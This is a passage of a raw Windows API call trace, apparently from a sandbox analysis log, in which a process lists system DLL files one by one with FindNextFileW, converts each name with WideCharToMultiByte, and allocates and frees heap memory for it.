ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.257] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.257] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.258] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.258] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.258] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x9dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0206.258] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.258] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.259] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x9dc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.259] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x9dc120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.259] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x9dc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0206.259] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.259] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.260] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x9dc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.260] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x9dc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.260] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.260] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.260] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.260] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.261] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0206.261] 